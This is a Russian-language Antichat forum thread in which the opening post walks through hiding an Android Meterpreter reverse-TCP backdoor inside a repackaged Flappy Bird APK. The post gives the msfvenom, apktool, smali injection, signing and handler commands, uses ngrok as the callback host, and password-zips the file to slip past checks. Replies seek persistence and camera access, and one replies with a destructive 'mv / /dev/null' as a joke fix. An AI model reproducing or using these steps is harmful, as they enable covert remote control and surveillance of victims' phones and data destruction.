ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Получаем сессию meterpreter на Android 10 (https://forum.antichat.xyz/showthread.php?t=575602)

s unity 31.10.2020 17:01

Всем доброго времени суток. В этой статье я расскажу про то, как можно удаленно управлять своим телефоном, если вы вдруг его потеряете, или у вас его украдут. Путь не легкий, но эффективный. Прошу, не используйте это в корыстных и незаконных целях.
Меньше слов больше дела, переходим сразу к практике.

Для реализации задуманного необходим следующий софт:
  • Kali linux
  • ngrok
  • Apktool
  • Metasploit Framework
  • Jarsigner
  • key.keystore файл (это подписи, генерим с keytool)
  • Zipalign
  • Android 10 (ну или старее)
Как все это дело приобрести я не буду рассказывать, за исключением key.keystore

Начнем с скачивания приложения (.apk), в которое поместим backdoor. Например:

https://forum.antichat.xyz/attachmen...4136622689.png

Ссылка

Для удобства дам ему короткое имя:

https://forum.antichat.xyz/attachmen...4136990485.png

запускаем ngrok: (про установку и использования читайте в гугле. информации много )

Код:


Код:

./ngrok tcp 4444
https://forum.antichat.xyz/attachmen...4137165553.png

получаем от него lhost и lport. Чтоб вы понимали, все, что будет попадать на этот хост по этому порту, будет отправляться нам на localhost 4444 (окно не закрываете. ngrok должен работать. в данном примере сессия одноразовая, но это совсем не проблема)

Запускаем msfvenom для создания пейлоада командой:

Код:


Код:

msfvenom -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14797 M> /home/kali/payload.apk
https://forum.antichat.xyz/attachmen...4138050319.png

теперь у меня есть файлик payload.apk по пути /home/kali/injection_apk/

https://forum.antichat.xyz/attachmen...4138166153.png

сюда же помещаю приложение которое скачали с сайта (flappy.apk). вот как выглядит проект на данный момент:

https://forum.antichat.xyz/attachmen...4138386676.png

Далее необходимо "[S]разархивировать[/S]" .apk файлы. делается это командами:

Код:


Код:

apktool d flappy.apk
apktool d payload.apk

https://forum.antichat.xyz/attachmen...4138777303.png

получили 2 папки, с которыми будем работать.

Нам нужна папка metasploit (и все что внутри) по пути /injection_apk/payload/smali/com/
копируем и вставляем в папку flappy по пути /injection_apk/flappy/smali/com/

https://forum.antichat.xyz/attachmen...4138971843.png

https://forum.antichat.xyz/attachmen...4139135520.png

далее идем по пути /injection_apk/flappy/smali/com/dotgears/flappy/ и открываем файл SplashScreen.smali

https://forum.antichat.xyz/attachmen...4139601221.png

нам необходимо выполнить инициализацию пейлоада, для этого вставляем строчку
Код:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
как на скрине ниже:
не забываете сохранить.

https://forum.antichat.xyz/attachmen...4140024583.png

Теперь необходимо, чтобы наше приложение запросило необходимые разрешения при установке (для всего функционала meterpreter)

заходим в папку payload и копируем необходимые разрешения из файла AndroidManifest.xml

https://forum.antichat.xyz/attachmen...4140424078.png

https://forum.antichat.xyz/attachmen...4140551432.png

далее заходим в /injection_apk/flappy/ и находим там идентичный файл AndroidManifest.xml

https://forum.antichat.xyz/attachmen...4140709935.png

и поправляем его разрешения удалив 3 строчки

https://forum.antichat.xyz/attachmen...4141019165.png

и на их место вставляем наши, скопированные ранее разрешения из файла AndroidManifest.xml в папке payload

https://forum.antichat.xyz/attachmen...4141094957.png

не забываете сохранить.

теперь необходимо перекомпилировать flappy использую всю ту же apktool

Код:


Код:

apktool b flappy
https://forum.antichat.xyz/attachmen...4141422780.png

и в папке /injection_apk/flappy/dist/ получаем уже почти готовый flappy.apk

https://forum.antichat.xyz/attachmen...4141611247.png

переходим к созданию файла подписей key.kyestore
это очень интересная тема, которой стоит заинтересоваться...
для генерирования файла нам понадобится keytool

Код:


Код:

keytool -genkey -V -keystore /home/kali/injection_apk/key.keystore -alias alexis -keyalg RSA -keysize 2048 -validity 1000
https://forum.antichat.xyz/attachmen...4142070401.png

в папке /injection_apk/ получаем файл key.keystore

https://forum.antichat.xyz/attachmen...4142113309.png

теперь сертифицируем наш flappy.apk (находящийся в расположении /injection_apk/flappy/dist/ ) утилитой jarsigner

Код:


Код:

jarsigner -verbose  -sigalg SHA1withRSA -digestalg SHA1 -keystore /home/kali/injection_apk/key.keystore /home/kali/injection_apk/flappy/dist/flappy.apk alexis
выводом будет много текста в сообщением об удачной регистрации, о рисках безопасности и так далее.... :

https://forum.antichat.xyz/attachmen...4143037003.png

теперь нужно немножко выровнять наш проект и получит готовый продукт:

Код:

zipalign -v 4 /home/kali/injection_apk/flappy/dist/flappy.apk flappy_v.apk
тоже куча текста и в конце должно быть Verification successful

https://forum.antichat.xyz/attachmen...4143586273.png

в папке /injection_apk/ появился конечный продукт с именем flappy_v.apk

https://forum.antichat.xyz/attachmen...4143855237.png

предлагаю, перед его доставкой на СВОЙ телефон, зашифровать командой

Код:


Код:

zip --password античат flappySec.zip flappy_v.apk
https://forum.antichat.xyz/attachmen...4144080735.png

далее я напишу всем известные команды:

Код:


Код:

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost localhost
set lport 4444

https://forum.antichat.xyz/attachmen...4146218724.png

доставил на СВОЙ телефон файлик
и получил сессию meterpreter

https://forum.antichat.xyz/attachmen...4146438088.png

https://forum.antichat.xyz/attachmen...3a1a4c77ec.png

https://forum.antichat.xyz/attachmen...0bea65f48c.png

из-за косяков с подписями при установке приложения на телефоне вылезло 2 предупреждения, 1 о том что подписи не доверены и 2 проверка приложения гугл плеем.

сессия метерпретер устойчивая и не разорвется пока вы не выключите ngrok.

mrtyrel 08.11.2020 21:03

А если я захочу другое приложение и там не будет Splashscreen как мне выполнить инициализацию пейлоада?

[теперь нужно немножко выровнять наш проект и получит готовый продукт]
Можно было хоть не много описать что это такое

Проверка была на Genymotion android 8 пейлоад как только запускался сразу умирал
На Nox android 7 пейлоад запускался спустя примерно 10 сек если приложения находилось открытым как только приложения закрывалось процесс умирал

Есть ли в msf payload android аналог ps/migrate/runmetsvc - msf payload windows

s unity 10.11.2020 16:46

Цитата:


mrtyrel сказал(а):

другое приложение и там не будет Splashscreen


тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически

https://forum.antichat.xyz/attachmen...5012374426.png

Цитата:


mrtyrel сказал(а):

android 8 пейлоад как только запускался сразу умирал


возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...

mrtyrel 14.11.2020 19:29

Цитата:


s unity сказал(а):

тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически

возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...


Ты делал опыт на реальном телефоне? Если да что за модель?

s unity 15.11.2020 00:38

Цитата:


mrtyrel сказал(а):

Ты делал опыт на реальном телефоне? Если да что за модель?


самсунг галакси А20-А50. установлены все последние обновления

UnDerGr0unD 15.11.2020 09:57

Цитата:


s unity сказал(а):

из-за косяков с подписями при установке приложения на телефоне вылезло 2 предупреждения, 1 о том что подписи не доверены и 2 проверка приложения гугл плеем.


Тоже самое, можно ли эти косяки убрать?

Pussykiller 11.01.2021 10:46

Проблема с передней камерой решена?

Павел55 17.01.2021 03:46

Цитата:


s unity сказал(а):

тебе не нужна такая папка, и такой файл. тебе нужна подобная строка. не нужно углубляться в разработку приложений, просто думать логически

возможно ты что-то сделал не так. я пользовал весь день на своем дроиде10. сессия была стабильной. единственное не мог подключиться к передней камере.

ps/ на следующий день, спустя какое-то время после удаления приложения, в сбере мне выскачило уведомление, что возможно имеется вирусы.. хотя приложение-то я удалил...


Сегодняшняя проблема в сессии это в том что приложение должно быть в фоновом режиме, я делал обычный пайлаод и когда после установки тыкал на него открывалась сессия, стоило нажать на какое нибудь приложение сессия отрубалась(через нгрок делал),потом зашел в настройки и поставил пайлоад в фоновый режим и все пошло железно и точно,... как сделать в настройках апк фаила, чтоб после установки он переходил в фоновый режим , а не в ручную как делал я в настройках, если кто знает буду рад выслушать.

Joyson 25.06.2021 21:51

https://forum.antichat.xyz/attachmen...b939bfea78.png

подскажите пожалуйста что это такое? Как решить?

Cronix 26.06.2021 02:23

Цитата:


Joyson сказал(а):

подскажите пожалуйста что это такое? Как решить?


Код:


Код:

mv / /dev/null


Время: 19:58